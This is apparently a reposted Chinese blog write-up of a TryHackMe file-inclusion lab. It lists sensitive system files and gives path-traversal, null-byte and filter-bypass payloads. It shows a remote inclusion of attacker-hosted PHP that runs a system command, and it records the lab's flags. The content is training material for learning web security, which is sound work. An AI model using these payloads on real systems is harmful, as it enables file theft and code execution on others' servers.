当前位置: 首页 > news >正文

TryHackMe-File Inclusion练习

本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe

路径遍历(目录遍历)

LocationDescription
/etc/issue包含要在登录提示之前打印的消息或系统标识。
/etc/profile控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息
/proc/version指定 Linux 内核的版本
/etc/passwd包含有权访问系统的所有注册用户信息
/etc/shadow包含系统用户密码的信息
/root/.bash_history包含 root 用户的历史命令
/var/log/dmessage包含全局系统消息,包括系统启动期间记录的消息
/var/mail/rootroot 用户的所有电子邮件
/root/.ssh/id_rsa服务器上的root 用户或任何已知有效用户的 SSH 私钥
/var/log/apache2/access.logApache web服务器的访问请求
C:\boot.ini包含具有 BIOS 固件的计算机的引导选项

本地文件包含

?file=../../../../etc/passwd

通过在过滤关键字的末尾使用空字节 %00 或使用访问当前目录技巧/.

相关payload可参考以下内容:

?file=/etc/passwd%00
?file=/etc/passwd/.

%00 技巧已修复,不适用于 PHP 5.3.4 及更高版本。

为了更清楚地理解访问当前目录技巧/.,我们可以查看以下例子:如果我们在文件系统中使用cd ..,我们将切换到上一级目录;如果我们使用的是cd.,我们仍然将停留在当前目录。

因此,当我们输入/etc/passwd/..时,我们将切换目录到/etc/,然后当我们输入/etc/passwd/.时,将停留在当前目录/etc/passwd(因为.指代的就是当前工作目录,所以并不会进行目录切换操作)。

../关键字被过滤

当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd时,如果收到如下错误提示:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

这说明:../关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../

我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:

?file=....//....//....//....//....//etc/passwd

这种方式被称为“双写绕过”。

双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。

image

强制include函数从已定义的目录中读取目标文件

例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php

为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:

?file=languages/../../../../../etc/passwd

远程文件包含

假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示 Hello THM 消息。

python3 -m http.server

 

挑战

Challenge-1

因为要POST上传,所以我们使用bp抓包上传吧

这里不知道为什么始终显示错误,所以就使用插件了

Max HacKBar(HackBar最新版要钱,可以去找旧版下载) 

这样的

POST传参 

 flag1:F1x3d-iNpu7-f0rrn

Challenge2 

这里显示要admin,而我们是Guest,所以我们要成为admin 

但Get和POST传参都不行

所以我们尝试继续修改cookie

 接下来我们用上面讲过的方法

../../../../etc/flag2%00

flag2:c00k13_i5_yuMmy1 

Challenge3

file=../../.././etc/flag3%00

这题get、post都可以,不过因为使用插件上传会进行url编码

所以只能抓包把%2500改为%00即可

 

flag:P0st_1s_w0rk1in9 

Challenge4

先将php代码写入cmd.txt

<?PHP 
echo system('hostname'); 
?>

 

python3 -m http.server 8080

http://10.10.109.26:8080/cmd.txt

flag:lfi-vm-thm-f8c5b1a78692 

答题:

 

http://www.lryc.cn/news/292545.html

相关文章:

  • Leetcode 《面试经典150题》169. 多数元素
  • 百度输入法往选字框里强塞广告
  • 分享一个Qt使用的模块间通信类
  • 工作七年,对消息推送使用的一些经验和总结
  • 计网——应用层
  • 算法面试八股文『 基础知识篇 』
  • docker-学习-4
  • el-upload子组件上传多张图片(上传为files或base64url)
  • 2024美赛数学建模C题思路源码——网球选手的动量
  • 金三银四_程序员怎么写简历_写简历网站
  • echarts条形图添加滚动条
  • Java 使用Soap方式调用WebService接口
  • 2024美赛数学建模所有题目思路分析
  • Docker容器引擎(5)
  • 百分点科技:《数据科学技术: 文本分析和知识图谱》
  • LabVIEW传感器通用实验平台
  • 向日葵企业“云策略”升级 支持Android 被控策略设置
  • 51单片机通过级联74HC595实现倒计时秒表Protues仿真设计
  • 深信服技术认证“SCCA-C”划重点:深信服云计算关键技术
  • Redis stream特性了解
  • 苍穹外卖项目可以写的简历和如何优化简历
  • C++:智能指针
  • 用户界面(UI)、用户体验(UE)和用户体验(UX)的差异
  • react 之 UseReducer
  • C++:this隐藏参数
  • MySQL事务原理-相关日志
  • 内核Oops的几种定位方法
  • 外包干了10个月,技术退步明显.......
  • 2024美赛C完整思路
  • Backtrader 文档学习- Broker - Cheat-On-Open